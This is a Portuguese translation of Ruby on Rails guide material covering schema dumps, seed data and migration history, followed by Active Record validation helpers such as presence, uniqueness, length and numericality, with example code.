Ocasionalmente, você cometerá um erro ao escrever uma migration. Se você já executou a migration, você não pode editá-la e rodá-la novamente: o Rails assume que você já rodou a migration, então não irá fazer nada quando você executar o comando bin/rails db:migrate. Você deve reverter a migration (por exemplo com bin/rails db:rollback), editar a migration, e então rodar o comando bin/rails db:migrate para que a versão correta seja executada.

Em geral, a edição de migrations existentes não é uma boa ideia. Você criará trabalho extra para si mesmo e seus colegas de trabalho e causará dores de cabeça maiores se a versão existente da migration já tiver sido executada nas máquinas de produção.

Como alternativa, você deveria escrever uma nova migration que execute as mudanças necessárias. Editar uma migration recentemente gerada e que ainda não foi feito um commit para o source control (ou, de forma geral, que não foi propagada além de sua máquina de desenvolvimento) é relativamente inofensivo.

O método revert pode ajudar ao escrever uma nova migration para desfazer migrations anteriores no todo ou em partes (veja Revertendo Migrations Anteriores acima).

6 Schema Dumping e Você

6.1 Para que servem arquivos de Schema?

Migrations, poderosas como podem ser, não são a fonte oficial para o schema do seu banco de dados. Seu banco de dados permanece sendo a fonte oficial. Por padrão, o Rails gera o arquivo db/schema.rb (um schema dump), que tenta capturar o estado atual do schema do seu banco de dados.

Costuma ser mais rápido e menos suscetível a erros criar uma nova instância do banco de dados da sua aplicação caregando o arquivo de schema por meio do comando bin/rails db:schema:load ao invés de reexecutar todo o histórico de migrations. Migrations Antigas podem falhar em sua execução se estas migrations usam dependências externas que estejam em constante mudança ou se dependem de um código de aplicação que evolui separadamente das suas migrations.

Arquivos de schema também são úteis se você deseja verificar rapidamente quais atributos um objeto do tipo Active Record possui. Essa informação não está no código do model e é frequentemente espalhada em diversas migrations, mas a informação é facilmente acessível no arquivo de schema.

6.2 Tipos de Schema Dumps

O formato dos arquivos de schema gerados pelo Rails é controlado pela configuração config.active_record.schema_format em config/application.rb. Por padrão, o formato é :ruby, mas pode ser também alterado para :sql.

Se :ruby está selecionado, então o arquivo de schema é salvo em db/schema.rb. Se você analisar este arquivo perceberá que ele se parece muito com uma migration gigante.

ActiveRecord::Schema.define(version: 2008_09_06_171750) do
create_table "authors", force: true do |t|
t.string   "name"
t.datetime "created_at"
t.datetime "updated_at"
end

create_table "products", force: true do |t|
t.string   "name"
t.text     "description"
t.datetime "created_at"
t.datetime "updated_at"
t.string   "part_number"
end
end

ActiveRecord::Schema.define(version: 2008_09_06_171750) do create_table "authors", force: true do |t| t.string "name" t.datetime "created_at" t.datetime "updated_at" end create_table "products", force: true do |t| t.string "name" t.text "description" t.datetime "created_at" t.datetime "updated_at" t.string "part_number" end end Copiar

De muitas maneiras é exatamente isso. Este arquivo é criado ao inspecionar o banco de dados, expressando sua estrutura através dos comandos create_table, add_index, e por aí vai.

O arquivo db/schema.rb não consegue expressar tudo o que o seu banco de dados suporta como triggers, sequences, stored procedures, etc. Enquanto outras migrations podem utilizar o comando execute para criar estruturas do banco de dados que não são suportadas pela DSL de migrations do Ruby, estas estruturas podem não ser possíveis de serem reconstituídas ao gerar um novo schema padrão. Se você estiver utilizando estes tipos de funcionalidades, você deve então alterar o formato do schema para :sql para conseguir obter um arquivo de schema mais preciso e que possa ser utilizado para criar novas instâncias do banco de dados.

Quando o formato do schema é definido como :sql, a estrutura do banco de dados será reproduzida utilizando uma ferramenta específica para o banco de dados sendo usado no arquivo db/structure.sql. Por exemplo, para o PostgreSQL, a ferramenta pg_dump é utilizada. Para MySQL e MariaDB, este arquivo irá conter a saída de SHOW CREATE TABLE para as tabelas do banco.

Para carregar o schema de db/structure.sql, execute bin/rails db:schema:load. O carregamento deste arquivo é realizado executando os comandos em SQL que ele contém. Por definição, isso irá criar uma cópia perfeita da estrutura do banco de dados.

6.3 Schema Dumps e o Controle de Versão

Como os arquivos de schema são comumente utilizados para criar novos bancos de dados, é fortemente recomendado que você adicione seu arquivo de schema ao controle de versão.

Conflitos de merge podem acontecer no seu arquivo de schema quando duas branches o modificam. Para resolver estes conflitos execute bin/rails db:migrate para gerar novamente o arquivo de schema.

7 Active Record e Integridade Referencial

A maneira do Active Record trabalhar presume que a inteligência pertence aos seus models, não ao banco de dados. Desta forma, funcionalidades como triggers ou constraints, que enviam um pouco desta inteligência de volta para o banco de dados, não são usadas com frequência.

Validações como validates :foreign_key, uniqueness: true são uma maneira pela qual os models podem impor integridade dos dados. A opção :dependent nas associações permite aos models destruir automaticamente objetos filhos quando o objeto pai é destruído. Como qualquer coisa que opera no nível da aplicação, estas validações não podem garantir integridade referencial e assim algumas pessoas as aprimoram com vínculos de chaves estrangeiras no banco de dados.

Embora o Active Record não forneça todas as ferramentas para trabalhar diretamente com estas funcionalidades, o método execute pode ser usado para executar SQL arbitrário.

8 Migrações e Dados de Seed

O propósito principal da funcionalidade de migração do Rails é enviar comandos que modificam o schema usando um processo consistente. Migrações também podem ser usadas para inserir ou modificar dados. Isto é útil em um banco de dados existente que não pode ser destruído e criado de novo, como por exemplo um banco de dados em produção.

class AddInitialProducts < ActiveRecord::Migration[6.0]
def up
5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.")
end
end

def down
Product.delete_all
end
end

class AddInitialProducts < ActiveRecord::Migration[6.0] def up 5.times do |i| Product.create(name: "Product ##{i}", description: "A product.") end end def down Product.delete_all end end Copiar

Para inserir dados depois que um banco de dados for criado, o Rails tem uma funcionalidade padrão de seeds que torna o processo rápido. Isto é especialmente útil ao recarregar o banco de dados com frequência nos ambientes de teste e desenvolvimento. Para começar a usar estafuncionalidade, preencha o arquivo db/seeds.rb com código Ruby, e execute bin/rails db:seed:

5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.")
end

5.times do |i| Product.create(name: "Product ##{i}", description: "A product.") end Copiar

Isto é, geralmente, uma maneira mais limpa para preparar o banco de dados de uma aplicação em branco.

9 Migrations Antigas

Os arquivos db/schema.rb ou db/structure.sql refletem o estado atual do seu banco de dados e são a fonte oficial para reconstruí-lo. Isto torna possível excluir arquivos antigos de migration.

Quando você exclui arquivos de migration no diretório db/migrate, qualquer ambiente no qual bin/rails db:migrate foi executado quando estes arquivos ainda existiam irá manter uma referência às suas timestamps específicas dentro de uma tabela interna do Rails chamada schema_migrations. Esta tabela é usada para manter um acompanhamento de quais migrations foram executadas em um ambiente específico.

Se você executar o comando bin/rails db:migrate:status, que mostra o estado (up ou down) de cada migration, você verá o texto ********** NO FILE ********** próximo a cada arquivo de migration excluído que foi anteriormente executado em um ambiente específico mas não se encontra mais no diretório db/migrate/.

Validações do Active Record — Ruby on...

1 Resumo das Validações

Este é um exemplo de uma validação simples:

class Person < ApplicationRecord
validates :name, presence: true
end

class Person < ApplicationRecord validates :name, presence: true end Copiar

irb> Person.create(name: "John Doe").valid?
=> true
irb> Person.create(name: nil).valid?
=> false

Person.create(name: "John Doe").valid? Person.create(name: nil).valid? Copiar

Como você pode ver, nossa validação nos deixa saber que nossa Person não é válida sem o atributo name. A segunda Person não existirá no banco de dados.

Antes de entrarmos em maiores detalhes, vamos falar sobre como as validações funcionam na nossa aplicação.

1.1 Por que usar validações?

Validações são usadas para garantir que só dados válidos sejam salvos no seu banco de dados. Por exemplo, pode ser importante para sua aplicação garantir que todo usuário forneça um endereço de e-mail e endereço de correspondência válidos. Validações de model são a melhor maneira de garantir que só dados válidos sejam salvos em seu banco de dados. Eles são bancos de dados agnósticos, não podem ser contornados por usuários, e são fáceis de manter e de testar. O Rails fornece ajudantes build-in para necessidades comuns, e também permite que você crie seus próprios métodos de validação.

Exitem outros modos de validar dados antes deles serem salvos no seu banco de dados, incluindo restrições nativas do banco de dados, validações no lado do cliente e validações no nível do controller. Este é um sumário dos prós e contras:

- Restrições no banco de dados e/ou procedimentos armazenados tornam as validações dependentes do banco de dados e podem tornar o processo de testar e a manutenção mais difíceis. No entanto, se seu banco de dados é usado por outras aplicações, pode ser uma boa ideia usar algumas restrições diretamente no banco de dados. Adicionalmente, validações no nível de banco de dados são seguras para lidar com algumas coisas (como singularidade em tabelas muito utilizadas) que seriam difíceis de implementar de outra forma.

- Validações no lado do cliente são úteis, mas no geral não são seguras quando utilizadas sozinhas. Se elas forem implementadas usando JavaScript, elas podem ser contornadas se o JavaScript estiver desligado no navegador do usuário. No entanto se forem combinadas com outras técnicas, essas validações podem ser um método mais conveniente de fornecer ao usuário um retorno imediato enquanto eles navegam no seu site.

- Utilizar validações no nível do controller pode ser tentador, mas frequentemente se tornam pesadas e de manutenção e testagem difíceis. Sempre que possível, é uma boa prática manter seus controllers leves, o que irá tornar a sua aplicação prazerosa de se trabalhar com o passar do tempo.

Escolha essa opção de validação em alguns casos específicos. É da opinião da equipe do Rails que as validações de model são mais apropriadas na maior parte das circunstâncias.

1.2 Quando as validações ocorrem?

Existem dois tipos de objetos de Active Record: aqueles que correspondem a uma linha no seu banco de dados e aqueles que não correspondem. Quando você cria um objeto novo, por exemplo, usando o método new, esse objeto ainda não existe no banco de dados. Uma vez que você chame o save sob esse objeto ele será salvo na tabela apropriada no seu banco de dados. O Active Record usa o método de instância new_record? para determinar se o objeto já existe no banco de dados ou não. Considere a seguinte classe do Active Record:

class Person < ApplicationRecord
end

class Person < ApplicationRecord end Copiar

Podemos ver como ela funciona olhando para o resultado no bin/rails console:

irb> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>

irb> p.new_record?
=> true

irb> p.save
=> true

irb> p.new_record?
=> false

p = Person.new(name: "John Doe") p.new_record? p.save p.new_record? Copiar

Ao criar e salvar um novo record será enviada uma operação SQL de INSERT para o seu banco de dados. Atualizando um registro existente irá mandar uma operação SQL de UPDATE no lugar. Validações são tipicamente realizadas antes que esses comandos sejam enviados para seu banco de dados. Se alguma validação falhar, o objeto será marcados como inválido e o Active Record não irá executar as operações de INSERT ou UPDATE. Isso evita que um dado inválido seja armazenado no banco de dados. Você pode escolher validações específicas que atuem quando um objeto for criado, salvo, ou editado.

Existem muitos modos de alterar o estado de um objeto no banco de dados. Alguns métodos irão acionar validações, mas alguns não vão. Isso significa que é possível salvar um objeto inválido no banco de dados se você não tomar cuidado.

Os métodos a seguir acionam validações e só vão salvar objetos que forem válidos no banco de dados:

- create

- create!

- save

- save!

- update

- update!

As versões bang (ex: save!) levantam uma exceção se o objeto for inválido. As versões normais não fazem isso: save e update retornam false, e create retorna o objeto.

1.3 Pulando Validações

Os seguintes métodos pulam validações, e irão salvar o objeto no banco de dados independente da sua validade. Eles devem ser usados com cuidado.

- decrement!

- decrement_counter

- increment!

- increment_counter

- insert

- insert!

- insert_all

- insert_all!

- toggle!

- touch

- touch_all

- update_all

- update_attribute

- update_column

- update_columns

- update_counters

- upsert

- upsert_all

Note que save também tem a habilidade de pular validações se for estabelecido validate: false como argumento. Essa técnica deve ser usada com cuidado.

- save(validate: false)

1.4 valid? e invalid?

Antes de salvar um objeto do Active Record, Rails executa suas validações. Se essas validações produzirem um erro, o Rails não salva o objeto.

Você também pode executar essas validações por si só. valid? ativa suas validações, retornando true, se nenhum erro for encontrado no objeto, ou false, caso contrário. Como dito acima:

class Person < ApplicationRecord
validates :name, presence: true
end

class Person < ApplicationRecord validates :name, presence: true end Copiar

irb> Person.create(name: "John Doe").valid?
=> true
irb> Person.create(name: nil).valid?
=> false

Person.create(name: "John Doe").valid? Person.create(name: nil).valid? Copiar

Depois do Active Record executar as validações, qualquer erro encontrado pode ser acessado através do método de instância errors, que retorna uma coleção de erros. Por definição, um objeto é válido se essa coleção estiver vazia após serem executadas as validações.

Note que um objeto instanciado com new não informará nenhum erro mesmo que ele seja tecnicamente inválido, porque as validações são executadas automaticamente apenas quando o objeto é salvo, como acontece com os métodos create ou save.

class Person < ApplicationRecord
validates :name, presence: true
end

class Person < ApplicationRecord validates :name, presence: true end Copiar

irb> p = Person.new
=> #<Person id: nil, name: nil>
irb> p.errors.size
=> 0

irb> p.valid?
=> false
irb> p.errors.objects.first.full_message
=> "Name can't be blank"

irb> p = Person.create
=> #<Person id: nil, name: nil>
irb> p.errors.objects.first.full_message
=> "Name can't be blank"

irb> p.save
=> false

irb> p.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

irb> Person.create!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

p = Person.new p.errors.size p.valid? p.errors.objects.first.full_message p = Person.create p.errors.objects.first.full_message p.save p.save! Person.create! Copiar

invalid? é simplesmente o inverso de valid?. Desencadeia suas validações e retorna true se algum erro for encontrado no objeto, e false caso contrário.

1.5 errors[]

Para verificar se um determinado atributo de um objeto é válido, você pode usar errors[:attribute]. Isso retorna um array com todos os erros para o :attribute. Se não houver nenhum erro para o atributo especificado, um array vazio é exibido.

Esse método só é útil após as validações terem sido executadas, porque ele só inspeciona as coleções de erros e não aciona nenhuma validação em si. É diferente do método ActiveRecord::Base#invalid? explicado acima porque não verifica ao todo se um objeto é válido. Apenas verifica se existem erros em um determinado atributo do objeto.

class Person < ApplicationRecord
validates :name, presence: true
end

class Person < ApplicationRecord validates :name, presence: true end Copiar

irb> Person.new.errors[:name].any?
=> false
irb> Person.create.errors[:name].any?
=> true

Person.new.errors[:name].any? Person.create.errors[:name].any? Copiar

Nós vamos cobrir os erros das validações em maior detalhe na seção Trabalhando com Erros de Validações.

O uso de details juntamente com validadores é tratado na seção Trabalhando com Erros de Validações.

2 Helpers de Validação

O Active Record oferece vários helpers de validação pré-definidos que você pode utilizar dentro das suas definições de classes. Esses helpers providenciam regras de validações comuns. Toda vez que uma validação falha, um erro é adicionado a coleção errors do objeto, e sua mensagem é associada com o atributo que está sendo validado.

Cada helper aceita um número arbitrário de nomes de atributos, então com uma única linha de código você consegue adicionar o mesmo tipo de validação para vários atributos.

Todas as validações aceitam as opções :on e :message, que definem quando as validações devem ser utilizadas e qual a mensagem que será adicionada a coleção errors caso ela falhe, respectivamente. A opção :on utiliza-se de um dos valores :create ou :update. Existe uma mensagem padrão de erro para cada um dos helpers de validação. Essas mensagens são utilizadas quando a opção :message não é especificada. Vamos dar uma olhada em cada um dos helpers disponíveis.

2.1 acceptance

Esse método valida se um checkbox foi marcado quando um formulário foi submetido. Tipicamente isso é utilizado quando o usuário necessita de concordar com os termos de serviço de sua aplicação, confirmar que algum texto foi lido, ou qualquer conceito similar.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: true
end

class Person < ApplicationRecord validates :terms_of_service, acceptance: true end Copiar

Essa verificação só é feita se terms_of_service não é nil. A mensagem padrão de erro para esse helper é "must be accepted". Você também pode passar uma mensagem customizada com a opção de message.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: { message: 'must be abided' }
end

class Person < ApplicationRecord validates :terms_of_service, acceptance: { message: 'must be abided' } end Copiar

O método também pode receber uma opção de :accept, que determina os valores que serão considerados como aceito. Ele tem como padrão os valores ['1', true] e pode ser facilmente mudado.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: { accept: 'yes' }
validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
end

class Person < ApplicationRecord validates :terms_of_service, acceptance: { accept: 'yes' } validates :eula, acceptance: { accept: ['TRUE', 'accepted'] } end Copiar

Essa validação é bem específica para aplicações web e a "aceitação" não precisa ser gravada em lugar nenhum do seu banco de dados. Se você não tem um campo para isso o helper criará um atributo virtual. Se o campo existe no seu banco de dados a opção accept deve ser definida como true ou a validação não irá acontecer.

2.2 validates_associated

Você deve usar esse helper quando seu modelo tiver associações com outros modelos que também precisam ser validados. Quando você tentar salvar seu objeto, valid? será chamado para cada um dos seus objetos associados.

class Library < ApplicationRecord
has_many :books
validates_associated :books
end

class Library < ApplicationRecord has_many :books validates_associated :books end Copiar

Essa validação funcionará com todos os tipos de associação.

Não utilize validates_associated nos dois lados de suas associações. Eles vão chamar umas as outras em um loop infinito.

A mensagem padrão de erro para validates_associated é "is invalid". Repare que cada objeto associado terá sua própria coleção de errors; erros não irão se juntar no modelo onde a validação foi chamada.

2.3 confirmation

Você deve utilizar esse helper quando você tem dois campos de texto que devem receber exatamente o mesmo conteúdo. Por exemplo, você pode querer confirmar um endereço de email ou uma senha. Essa validação cria um atributo virtual onde o nome é o nome do atributo que deve ser confirmado com "_confirmation" anexado.

class Person < ApplicationRecord
validates :email, confirmation: true
end

class Person < ApplicationRecord validates :email, confirmation: true end Copiar

No seu template de view você pode utilizar algo como

<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>

<%= text_field :person, :email %> <%= text_field :person, :email_confirmation %> Copiar

Essa checagem só é feita se o email_confirmation não é nil. Para requisitar uma confirmação tenha certeza que adicionou uma checagem de presença para o atributo de confirmação (nós iremos ver presence em breve nesse guia):

class Person < ApplicationRecord
validates :email, confirmation: true
validates :email_confirmation, presence: true
end

class Person < ApplicationRecord validates :email, confirmation: true validates :email_confirmation, presence: true end Copiar

Também existe a opção :case_sensitive caso você queira definir se a restrição de confirmação deve ser sensível a letras maiúsculas e minúsculas. Essa opção por padrão é verdadeira.

class Person < ApplicationRecord
validates :email, confirmation: { case_sensitive: false }
end

class Person < ApplicationRecord validates :email, confirmation: { case_sensitive: false } end Copiar

A mensagem padrão de erro para esse helper é "doesn't match confirmation".

2.4 exclusion

Esse helper valida os atributos que não estão incluídos em uma coleção. Na verdade, essa coleção pode ser qualquer objeto enumerável.

class Account < ApplicationRecord
validates :subdomain, exclusion: { in: %w(www us ca jp),
message: "%{value} is reserved." }
end

class Account < ApplicationRecord validates :subdomain, exclusion: { in: %w(www us ca jp), message: "%{value} is reserved." } end Copiar

O helper de exclusion tem a opção :in que recebe uma coleção de valores que não serão aceitas para os atributos validados. A opção :in tem um atalho chamado :within que pode ser utilizado para o mesmo propósito, caso queira. Esse exemplo usa a opção :message para mostrar como você pode incluir o valor do atributo na mensagem de erro. Para uma lista completa das opções do argumento de mensagem por favor veja a documentação sobre mensagens.

A mensagem de erro padrão é "is reserved".

2.5 format

Esse helper valida os valores dos atributos testando se eles correspondem uma expressão regular dada, que é especificada com a opção :with.

class Product < ApplicationRecord
validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
message: "only allows letters" }
end

class Product < ApplicationRecord validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, message: "only allows letters" } end Copiar

Alternativamente, você pode requerer que um atributo específico não corresponde com a expressão regular usando a opção :without.

A mensagem de erro padrão é "is invalid".

2.6 inclusion

Esse helper valida os atributos que estão incluídos em uma coleção. Na verdade, essa coleção pode ser qualquer objeto enumerável.

class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }
end

class Coffee < ApplicationRecord validates :size, inclusion: { in: %w(small medium large), message: "%{value} is not a valid size" } end Copiar

O helper de inclusion tem a opção :in que recebe uma coleção de valores que serão aceitas para os atributos validados. A opção :in tem um atalho chamado :within que pode ser utilizado para o mesmo propósito, caso queira. Esse exemplo usa a opção :message para mostrar como você pode incluir o valor do atributo na mensagem de erro. Para uma lista completa das opções do argumento de mensagem por favor veja a documentação da mensagem.

A mensagem de erro padrão para esse helper é "is not included in the list".

2.7 length

Esse helper valida o tamanho dos valores dos atributos. Ele disponibiliza uma variedade de opções, então você pode especificar o tamanho das restrições de maneiras diferentes.

class Person < ApplicationRecord
validates :name, length: { minimum: 2 }
validates :bio, length: { maximum: 500 }
validates :password, length: { in: 6..20 }
validates :registration_number, length: { is: 6 }
end

class Person < ApplicationRecord validates :name, length: { minimum: 2 } validates :bio, length: { maximum: 500 } validates :password, length: { in: 6..20 } validates :registration_number, length: { is: 6 } end Copiar

The possible length constraint options are:

As possíveis opções de restrições de tamanho são:

- :minimum - O atributo não pode ser menor que o tamanho especificado.

- :maximum - O atributo não pode ser maior que o tamanho especificado.

- :in (or :within) - O tamanho do atributo deve estar dentro do alcance de um intervalo dado. O valor dessa opção deve ser um intervalo.

- :is - O tamanho do atributo deve ser igual ao valor passado.

O valor padrão da mensagem de erro depende do tipo de validação sendo usado. Você pode customizar essas mensagens usando as opções :wrong_length, :too_long e :muito curto e %{count} como um espaço reservado para o número correspondente ao do tamanho da restrição sendo utilizada. Você ainda pode utilizar a opção :message para especificar uma mensagem de erro.

class Person < ApplicationRecord
validates :bio, length: { maximum: 1000,
too_long: "%{count} characters is the maximum allowed" }
end

class Person < ApplicationRecord validates :bio, length: { maximum: 1000, too_long: "%{count} characters is the maximum allowed" } end Copiar

Note que as mensagens de erro padrão estão em plural (por exemplo: "is too short (minimum is %{count} characters)"). Por essa razão, quando :minimum é 1 você deve disponibilizar uma mensagem customizada ou utilizar presence: true no lugar. Quando :in ou :within tem um limite menor que 1, você deve disponibilizar ou uma mensagem customizada ou usar presence antes do length.

2.8 numericality

Esse helper válida se seus atributos contém somente valores numéricos. Por padrão, ele vai corresponder um número inteiro ou real precedido de um sinal opcional de negativo ou positivo (+ ou -).

Para especificar que somente números inteiros são permitidos mude :only_integer para verdadeiro. Então ele vai usar

/\A[+-]?\d+\z/

/\A[+-]?\d+\z/ Copiar

como expressão regular para validar o valor do atributo. Se não, ele vai tentar converter o valor para um número usando a classe Float. Floats são transformados em BigDecimal usando a precisão da coluna ou 15.

class Player < ApplicationRecord
validates :points, numericality: true
validates :games_played, numericality: { only_integer: true }
end

class Player < ApplicationRecord validates :points, numericality: true validates :games_played, numericality: { only_integer: true } end Copiar

A mensagem de erro padrão para :only_integer é "must be an integer".

Além de :only_integer, esse helper também aceita as seguintes opções para adicionar restrições aos valores aceitáveis:

- :greater_than - Especifica que o valor deve ser maior que o valor informado. A mensagem padrão para esse erro é "must be greater than %{count}".

- :greater_than_or_equal_to - Especifica que o valor deve ser maior ou igual que o valor informado. A mensagem padrão para esse erro é "must be greater than or equal to %{count}".

- :equal_to - Especifica que o valor deve ser igual que o valor informado. A mensagem padrão para esse erro é "must be equal to %{count}".

- :less_than - Especifica que o valor deve ser menor que o valor informado. A mensagem padrão para esse erro é "must be less than %{count}".

- :less_than_or_equal_to - Especifica que o valor deve ser menor ou igual que o valor informado. A mensagem padrão para esse erro é "must be less than or equal to %{count}".

- :other_than - Especifica que o valor deve ser diferente que o valor informado. A mensagem padrão para esse erro é "must be other than %{count}".

- :odd - Especifica que o valor deve ser ímpar se definido como verdadeiro. A mensagem padrão para esse erro é "must be odd".

- :even - Especifica que o valor deve ser par se definido como verdadeiro. A mensagem padrão para esse erro é "must be even".

Por padrão, numericality não permite valores nil. Você pode utilizar allow_nil: true para permitir isso.

A mensagem de erro padrão para quando nenhuma opção é especificada é "is not a number".

2.9 presence

Esse helper que os atributos especificados não estão vazios. Ele utiliza o método blank? para verificar se o valor é nil ou uma string em branco, isso é, uma string que está vazia ou só contém espaços.

class Person < ApplicationRecord
validates :name, :login, :email, presence: true
end

class Person < ApplicationRecord validates :name, :login, :email, presence: true end Copiar

Se você quer ter certeza que uma associação está presente, você precisará testar se o objeto associado por ele mesmo está presente, e não a chave estrangeira utilizada para mapear a associação. Dessa maneira, não só é checado que a chave estrangeira existe como também se o objeto referenciado existe.

class Supplier < ApplicationRecord
has_one :account
validates :account, presence: true
end

class Supplier < ApplicationRecord has_one :account validates :account, presence: true end Copiar

Para validar registros associados cuja presença é necessária, você deve especificar a opção :inverse_of para a associação:

Se você quiser garantir que a associação está presente e é válida, você também precisa usar validates_associated.

class Order < ApplicationRecord
has_many :line_items, inverse_of: :order
end

class Order < ApplicationRecord has_many :line_items, inverse_of: :order end Copiar

Se você validar a presença de um objeto associado através de um relacionamento has_one ouhas_many, ele verificará se o objeto não está blank? nem marked_for_destruction?.

Como false.blank? é verdadeiro, se você deseja validar a presença de um valor booleano no campo, você deve usar uma das seguintes validações:

validates :boolean_field_name, inclusion: [true, false]
validates :boolean_field_name, exclusion: [nil]

validates :boolean_field_name, inclusion: [true, false] validates :boolean_field_name, exclusion: [nil] Copiar

Ao usar uma dessas validações, você garantirá que o valor NÃO será nil o que resultaria em um valor NULL na maioria dos casos.

2.10 absence

Este helper valida que os atributos especificados estão ausentes. Ele usa o método present? para verificar se o valor não é nil ou uma string em branco, isso é, uma string que está vazia ou só contém caracteres em branco.

class Person < ApplicationRecord
validates :name, :login, :email, absence: true
end

class Person < ApplicationRecord validates :name, :login, :email, absence: true end Copiar

Se você quer ter certeza que uma associação está ausente, você precisará testar se o objeto associado por ele mesmo está ausente, e não a chave estrangeira utilizada para mapear a associação.

class LineItem < ApplicationRecord
belongs_to :order
validates :order, absence: true
end

class LineItem < ApplicationRecord belongs_to :order validates :order, absence: true end Copiar

Para validar registros associados cuja ausência é necessária, você deve especificar a opção :inverse_of para a associação:

class Order < ApplicationRecord
has_many :line_items, inverse_of: :order
end

class Order < ApplicationRecord has_many :line_items, inverse_of: :order end Copiar

Se você validar a ausência de um objeto associado através de um relacionamento has_one ouhas_many, ele verificará se o objeto não está present? nem marked_for_destruction?.

Como false.present? é false, se você quer validar a ausência de um campo booleano você deve usar validates :field_name, exclusion: { in: [true, false] }.

A mensagem padrão de erro é "must be blank".

2.11 uniqueness

Este helper valida que o valor do atributo é único antes de o objeto ser salvo. Ele não cria uma restrição de exclusividade no banco de dados, portanto pode acontecer de duas conexões diferentes ao banco de dados criarem dois registros com o mesmo valor para uma coluna que você pretende tornar exclusiva. Para evitar isso, você deve criar um índice exclusivo nessa coluna no seu banco de dados.

class Account < ApplicationRecord
validates :email, uniqueness: true
end

class Account < ApplicationRecord validates :email, uniqueness: true end Copiar

A validação ocorre executando uma consulta SQL na tabela do modelo, procurando um registro existente com o mesmo valor nesse atributo.

Existe uma opção :scope que você pode usar para especificar um ou mais atributos usados para limitar a verificação de exclusividade:

class Holiday < ApplicationRecord
validates :name, uniqueness: { scope: :year,
message: "should happen once per year" }
end

class Holiday < ApplicationRecord validates :name, uniqueness: { scope: :year, message: "should happen once per year" } end Copiar

Se você deseja criar uma restrição no banco de dados para previnir possiveis violações em uma validação de exclusividade usando a opção de :scope, você deve criar uma indexação única em ambas as colunas em seu banco de dados. Veja o manual do MySQL para mais detalhes sobre indexação de múltiplas colunas ou o manual do Postgres para exemplos de restrições únicas que referenciam esse grupo de colunas

Há também uma opção :case_sensitive que você pode usar para definir se a restrição de exclusividade fará distinção entre maiúsculas e minúsculas. O padrão desta opção é true.

class Person < ApplicationRecord
validates :name, uniqueness: { case_sensitive: false }
end

class Person < ApplicationRecord validates :name, uniqueness: { case_sensitive: false } end Copiar

Observe que alguns bancos de dados estão configurados para executar pesquisas que não diferenciam maiúsculas de minúsculas.

A mensagem de erro padrão é "has already been taken".

2.12 validates_with

Esse helper passa o registro para uma classe separada para ser feita a validação.

class GoodnessValidator < ActiveModel::Validator
def validate(record)
if record.first_name == "Evil"
record.errors.add :base, "This person is evil"
end
end
end

class Person < ApplicationRecord
validates_with GoodnessValidator
end

class GoodnessValidator < ActiveModel::Validator def validate(record) if record.first_name == "Evil" record.errors.add :base, "This person is evil" end end end class Person < ApplicationRecord validates_with GoodnessValidator end Copiar

Os erros adicionados ao record.errors[:base] estão relacionados ao estado do registro como um todo, e não a um atributo específico.

O helper validates_with pega uma classe ou uma lista de classes para usar na validação. Não há mensagem de erro padrão para validates_with. Você deve adicionar manualmente erros à coleção de erros do registro na classe validadora.

Para implementar o método validador, você deve ter um parâmetro record definido, que é o registro a ser validado.

Como todas as outras validações, validates_with utiliza as opções:if, :unless e :on. Se você passar outras opções, essas opções serão enviadas para a classe validadora como options:

class GoodnessValidator < ActiveModel::Validator
def validate(record)
if options[:fields].any? { |field| record.send(field) == "Evil" }
record.errors.add :base, "This person is evil"
end
end
end

class Person < ApplicationRecord
validates_with GoodnessValidator, fields: [:first_name, :last_name]
end

class GoodnessValidator < ActiveModel::Validator def validate(record) if options[:fields].any? { |field| record.send(field) == "Evil" } record.errors.add :base, "This person is evil" end end end class Person < ApplicationRecord validates_with GoodnessValidator, fields: [:first_name, :last_name] end Copiar

Observe que o validador será inicializado apenas uma vez durante todo o ciclo de vida do aplicativo, e não em cada execução de validação, portanto, tenha cuidado ao usar variáveis de instância nele.

Se o seu validador for suficientemente complexo para que você deseje variáveis de instância, você poderá facilmente usar um objeto Ruby puro no lugar:

class Person < ApplicationRecord
validate do |person|
GoodnessValidator.new(person).validate
end
end

class GoodnessValidator
def initialize(person)
@person = person
end

def validate
if some_complex_condition_involving_ivars_and_private_methods?
@person.errors.add :base, "This person is evil"
end
end

# ...
end

class Person < ApplicationRecord validate do |person| GoodnessValidator.new(person).validate end end class GoodnessValidator def initialize(person) @person = person end def validate if some_complex_condition_involving_ivars_and_private_methods? @person.errors.add :base, "This person is evil" end end # ... end Copiar

2.13 validates_each

Este helper valida atributos em relação a um bloco. Não possui uma função de validação predefinida. Você deve criar um usando um bloco, e todos os atributos passados para validates_each serão testados contra ele. No exemplo a seguir, não queremos que nomes e sobrenomes comecem com letras minúsculas.

class Person < ApplicationRecord
validates_each :name, :surname do |record, attr, value|
record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
end
end

class Person < ApplicationRecord validates_each :name, :surname do |record, attr, value| record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/ end end Copiar

O bloco recebe o registro, o nome do atributo e o valor do atributo. Você pode fazer o que quiser para verificar dados válidos dentro do bloco. Se sua validação falhar, você deverá adicionar um erro ao modelo, tornando-o inválido.

3 Opções de Validação Comuns

Essas são opções de validação comuns:

3.1 :allow_nil

A opção :allow_nil pula a validação quando o valor que está sendo validado é nil.

class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }, allow_nil: true
end

class Coffee < ApplicationRecord validates :size, inclusion: { in: %w(small medium large), message: "%{value} is not a valid size" }, allow_nil: true end Copiar

Para opções completas para argumento de mensagem, consulte documentação de mensagem.

3.2 :allow_blank

A opção :allow_blank é semelhante à opção :allow_nil. Esta opção deixará a validação passar se o valor do atributo for blank?, string vazia por exemplo.

class Topic < ApplicationRecord
validates :title, length: { is: 5 }, allow_blank: true
end

